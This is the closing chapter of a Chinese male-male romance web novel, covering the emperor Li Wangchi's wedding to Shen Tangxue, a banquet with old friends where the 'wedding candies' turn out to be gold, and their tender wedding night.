画眉之后,那一双清泠泠的眉眼晕上了一层温柔的光彩,唇瓣微抿胭脂纸,霎时水润的红唇染上一丝殷红颜色,显得更为明媚。 他方戴上凤冠,缓缓抬眼望向面前铜镜之时,便听门外传来一阵喧嚣,有侍人阻拦之声, “陛下——皇后娘娘正在梳妆,况且成婚之前不能见面……您不能进去啊!” “无事,我只看他一眼。” 声音愈来愈近,李妄迟对侍人的阻拦恍若未觉。 在他衣袍堪堪踏过门槛的那一瞬,沈棠雪缓缓眨了眨眼,有些诧异地转过眼来,抬眼看他。 沈棠雪白皙的脸颊被轻掩在脸间的扇面之中,隐隐绰绰,只露出个带妆的漂亮眼睛与一点花钿的额。 脸色红润,眼神灵动,与往日截然不同。 他身着凤冠霞帔,衣袍将他的身形勾勒得漂亮。柔软的发顶之上,金银璀璨的凤冠将他照得更为明媚。 霎时映入眼帘的鲜明的颜色让他灵动得勾人。 ……比当时他想象得更加好看。 李妄迟眼神灼灼,不自觉屏息,恍然地上前两步,心脏怦怦直跳,挥了挥手,先行屏退了侍人。 这样漂亮的沈棠雪,这样好的沈棠雪。 ……马上是他的了。 他不觉有些恍然,轻轻抬起指尖搭向沈棠雪凤冠上垂落的华美玉珠,微微一拨—— “唰拉——” 玉珠轻微晃动碰撞,如同流水一般缓缓流淌,微光闪耀之时,好像在抚摸沈棠雪的脸颊一样。 李妄迟缓缓拉住他的手,将他的手指放在掌心细细摩挲,眼神始终追寻着他的身影,随即蹲下身来—— 缓缓拿起放在一旁的婚鞋。 霎时雪白的脚心被握着,李妄迟缓缓捧起婚鞋,动作小心地给他穿上。 他像面对着什么珍宝,将婚鞋给沈棠雪缓缓穿得合身。 李妄迟的掌心缓缓环住沈棠雪的脚踝,轻捏着用指腹揉了一揉,微微噙着一抹笑,随后站起身来,笑着对他道: “我在外面等你。” 起轿升舆如流水般一气呵成,待步入拜高堂的殿室,周遭红绸明艳得喜庆非常。 四周是站得庄重的高官亲朋,被无数眼睛注目着的时候,沈棠雪面不改色地下喜轿,跨火盆,随即只觉指尖一动—— 被一只温热的手微微握住。 不知何时李妄迟贴在他的身旁,将他几不可察地半抱半搂着,与他十指相扣。 他唇间扬起的喜意掩盖不住。霎时,只他们二人能听见的声音传入耳中, “阿雪……当时父皇还在之时,我便心悦于你,如今要拜天地拜高堂了,你猜……父皇会不会祝福我们?” 沈棠雪噙着一抹笑意轻轻回道:“会的。” 李妄迟的神情有些得意洋洋起来,轻轻哼笑地赞同道: “我猜也会,这可是我费尽千辛万苦讨到的皇后。” 沈棠雪轻笑一声,藏在盖头下的耳尖微红,宝石耳坠摇摇晃晃。 他缓缓随着李妄迟并肩向前,看向殿室最前方点燃着香烛与摆放着的祖先牌位。 “一拜天地!” 随着丞相的扬声念词,二人微微俯身—— “二拜高堂!” 二人又拜。随着起身的动作,殿室之内霎时热闹起来,一道道带着笑意的目光涌向二人,又见丞相扬声又道: “夫妻对拜!” 刹那间二人转身,面对着彼此。 透过微微朦胧的盖头,沈棠雪笑脸盈盈,眼中泛着细碎的月光,恍然之中时,似是对上了李妄迟同样带着笑意的眼睛。 烛火明亮,红绸飘扬,人声鼎沸。 他温柔下眼来,似是看见了李妄迟的口型—— “阿雪,你是我的了。” …… 礼后有宴,此时正厅已然摆了宴席,无数侍人如流水般入内准备着,宴中欢声笑语不断。 沈棠雪应着规矩应当先入婚房,便随着侍人的动作款款离开。 谁知,却在离开之后,李妄迟思索片刻,位却在思索片刻之后,紧随其后跟了上来。 “阿雪!” 听着愈来愈近的脚步声,沈棠雪一愣,转眼望去,便对上了李妄迟穿着婚服对着他笑吟吟的眼神。 此时他们正至长廊,夜光微深,庭院红绸微微随风飘扬之时,雕刻精致的石灯被点得明亮。 繁密的树丛紧簇着,星星点点的光芒微微闪烁,将此间照映得愈发朦胧,连带着李妄迟的眼中也带着点点星光。 他的手上拿着秤杆,手指攥得紧,似是有些紧张。随后抬着一双带着期盼又犹豫的眼神,看向沈棠雪。 沈棠雪往他手上瞥了一眼,刹那便明白了他想做什么,轻声屏退了侍人,问道: “不会不合规矩么?” 照例来说,盖头都是待入婚房后才掀,并无在此间匆匆掀开的道理。 他虽不知李妄迟是因着何事,但如若他想,他也并无二话。 李妄迟带着笑意道:“那我大婚之前见你也不合规矩,未至婚期将你安置在暖阁之中也不合规矩……此番不合规矩的多了,称心如意便好。” 沈棠雪笑道:“也是。” 下一秒便见李妄迟缓缓上前,站在他身前,用手轻轻搭在他的后脑勺。 灼热的吐息似是喷在沈棠雪的侧颊,被盖头掩去了一半,又被看着他的那温柔又饱含爱意的眼神填满。 李妄迟缓缓抬起秤杆,于夜幕之中,缓缓将他的盖头掀开,霎时,那一张明艳漂亮的温柔脸颊映入眼帘。 沈棠雪的眼神温柔,正对着看着他的时候,眸中似有细碎的微光。 在他身后,一轮皎皎明月正挂在天上,月光缓缓洒落而下……二人宛若沐浴在月光之下,宛若见证。 李妄迟不由得心神微动,用手轻轻提着盖头,缓声道: “这样的仪式……让天地见证,也是一桩美事。” 他说罢,眼神灼灼地缓缓捧上沈棠雪的脸颊。在二人的身形都被月光笼罩之时,李妄迟缓缓倾身,用额头贴上他的。 “宴席之中皆是你的友人……如若留你独自一人于洞房之中,你不会甘愿。” “来看看吗?” …… 二人步入宴席之时,满堂诧异目光。 许多年过半百的臣子并未见过此等景象,欲要窃窃私语,又被李妄迟一个凌厉的眼神堵了回去。 沈棠雪被他轻拉着手,在此等不合规矩下的眼神注目之中也有些局促,不由得别过脸去,抿了抿唇…… 被李妄迟轻轻捏了捏指尖。 此时殿中左侧的桌案旁坐着一群嬉笑着的人,他们吊儿郎当地坐着,或捧腹大笑,或推杯换盏。 见他们二人入内,他们诧异地望来,随即,有人扬声喊了一道:“阿雪!” 沈棠雪转眼望去,在对上满桌人的视线之时,不由得缓缓睁大了眼, “砚白……兰辞,兰砚?” 他有些恍然,没想到时至如今,竟还能见着当年苏砚白从草原带走的一众人…… 倒有些时过境迁之感。 他眼眶一红,才知晓方才李妄迟说的“宴席之中皆是你的友人”是什么意思,有些没出息地抿了抿唇,不自觉眼底盈起微微的泪。 李妄迟笑意渐浓,见着他似是欢喜的模样,微微朝苏砚白扬了扬眉毛。 早些时日,他便问苏砚白还能不能联络着当年一并逃至隐云镇的那些人,之前询问解药时的高大男子也好,他那瘦小的小弟也好…… 如今沈棠雪尚存在世的友人不多,如若他们能来,阿雪定是欢喜。 而如今当真如此,阿雪是欢喜的。这便够了。 “沈棠雪——恭喜你脱离苦海了!” “和陛下百年好合啊!你回京之后真是愈发俏了……这婚服很衬你!” “说来,我都没来过京城呢——也是沾了你的光了!这里吃好、住好、什么都好!小弟,你瞧这个……” 一群人嬉笑得放松,并未有许久不见的生疏,反倒是劫后余生的其乐融融。 沈棠雪笑眼弯弯,眼睫湿润,提着婚服坐在一旁陪着。再抬眼看向李妄迟时,眼中的温柔几乎能将人溺在其中。 苏砚白左望右望,瞧着他们二人这副模样,心上了然,闷头不语夹菜。 待到吃饱餍足,他满意地微眯起眼来,眼尖着瞧着桌案旁玉碟上放着的细小喜糖,随意拿了一颗放至嘴里一咬—— 却差点崩了牙。 他霎时瞪大了眼,又不信邪地咬了一咬,随即古怪地意识到了一丝不对…… 这是什么? 苏砚白疑惑地将“喜糖”从嘴里拿出,用手擦了擦,眼睛一睁一闭地将其举过头顶仰头看着—— 结果在昏黄烛光下见着了一丝闪烁的金色微光……喜糖又呈金色模样…… “陛下……这是金子啊?!” 他不可思议地猛地抬头望去,对上了李妄迟带着笑意的眼神。 在证实了此事之后苏砚白猛地睁大眼,转头望向当年草原与他出生入死的兄弟们,小小声地凑过头去和他们窃窃私语, “案上的喜糖是金子做的……快——拿!” 那些人还愣神着,尚未反应过来,随即又你一言我一语地半信半疑, “金子?真的假的?” “苏砚白,你可别骗人——我真的要拿了……” 随后又一一诧异,他们震惊之情无以言表地齐齐看向李妄迟, “竟当真是金子!陛下怎这般大气!” 李妄迟笑而不语,一一应下,缓缓道:“拿去兑换点银子,这般你们回去以后的生活也能过好些。” 此时气氛浓郁,正是欢笑不断之时,李妄迟缓缓幽幽转头,趁着此间抛出橄榄枝, “砚白,今日之后,你还留在宫中照顾着怎样?给你派个太医院之职,这样的金子以后还有很多……如若留下,不会亏待了你。” 苏砚白眨了眨眼,虽喝了几壶清酒,略有醉意,却并未头脑一热应下。他缓缓环顾四周,摆了摆手,笑了一下, “多谢陛下赏识,但我本不欲拘泥于宫中,当初也是为着沈棠雪而来。如今混迹于城中,救百姓于水火更自在啊。” 在他们嬉笑之中,谢将时端坐在一旁,眼神定定地看着沈棠雪,久久没有言语。 他本是滴酒不沾之人,今日却闷声喝了几壶,待到周遭声响都好似嗡的隔了一层膜,隐隐绰绰地听不明晰之时,他缓缓对沈棠雪道: “祝贺你今日大婚……阿雪。” “你要幸福。” 沈棠雪缓缓转头看他,那张带着婚妆的脸颊笑得明媚,对他道:“我会的。多谢你……将时。” 那日出宫之后,他也同谢将时讲了个明白。 他知晓李妄迟当时是因着何事而宁愿将他堵着也不愿意叫他见人。 他也知晓……自己既心悦妄迟,便也不该叫他闷着醋意难过。 将其说开是最好的结局。 一旁的徐公公看着如今的局面,欣慰地挥了挥拂尘。 他望着周围文武百官齐聚一堂,却推杯换盏得有些烂醉的模样,款款往外去,捏着嗓子喊道: “上醒酒汤来——” …… 逐渐夜深,李妄迟瞧着沈棠雪也浅酌了几杯的模样,缓缓将其揽在怀中,随即对上了怀中人有些疑惑的眼神, “做什么?” 李妄迟无奈地看着他,在他的耳畔拖长声调道:“阿雪……今日是我们的大婚之夜,你还记得吗?” 沈棠雪眨了眨眼,有些醉意的眼神中带着一丝迷茫,却如小鸡啄米般应道:“记得。” 李妄迟失笑,勾了勾他的鼻尖,“那我们才不要一直陪着他们——” 他说罢,将人一把抱起扛在肩上,带着笑意往外走去,随即听见肩上一声惊呼, “妄迟——!” 殿内一片喜气洋洋之中,有官员好似听见二人的声响。 越过殿内的红绸,他感受着周遭的喜庆模样,嘿嘿笑着迷迷糊糊地道: “送入洞房——送入洞房!” 随即同件桌案上的人也有人迷迷糊糊跟着应,“你在说什么呢……?送入洞房!” 窃窃私语声愈发大,有人似是恍然醒了一些酒,殿内刹那此起彼伏的响起此声, “百年好合!送入洞房!” 殿外夜幕带起凉风,将二人吹得都清醒了些。 沈棠雪趴在他肩头,带着些许将散的醉意嘀嘀咕咕道:“妄迟,放我下来。” “好。” 李妄迟并未为难,将其放下,却在正当沈棠雪堪堪站稳之时—— 他又笑意渐浓地将其打横抱起,凑过去在沈棠雪的侧颊亲了一下。 “妄迟……!” “不放。” 这样一闹,沈棠雪的酒意霎时醒了个干净。他嘟嘟囔囔地窝在李妄迟怀里,侧脸靠着他的胸膛,环着他的颈窝。 直至二人到婚房,李妄迟将人抱到了桌案旁的椅凳上,他才松开一些。 李妄迟带着笑意缱绻地看着沈棠雪,将人从身后环着,笑着亲了亲他的后颈。 桌案宽大,上头还系着大红的绣球,摆放着一壶烈酒,旁边置了两枚金制铃铛杯。 李妄迟缓缓坐在了对面,带着笑意看他。 昏黄烛火摇曳之时,他起身倾倒烈酒,水波都于铃铛杯中荡漾得热烈。 二人不免相视一笑,半搭在桌案旁的手指缓缓相扣,沈棠雪看着他,噙着一抹温柔的笑意。 沈棠雪笑容在烛火照映下显得好明媚。他缓缓接过酒杯,眼神灼灼地说道: “这是我们第二次喝合卺酒了。” 李妄迟笑意渐浓,微微倾身靠近之时,温柔的声音都像荡在酒里, “但这是我们第一次大婚啊……我终于娶到你了,阿雪。” 他说罢,看着沈棠雪也同样倾身向他靠近的身形,笑着将鼻尖贴上他的鼻尖,循循善诱道: “往后要叫我什么?” 沈棠雪眼睫微颤,装傻地别过脸去,脸颊微红,“不知道。” 李妄迟眼神灼灼地看着他,勾起唇来意味不明地轻笑一声,并未说什么。 待二人拿起铃铛杯,双臂交缠欲饮之时,他看着沈棠雪侧颊纤长颤动的眼睫和水润的唇瓣,轻轻在他耳畔道: “……叫夫君。” —正文完—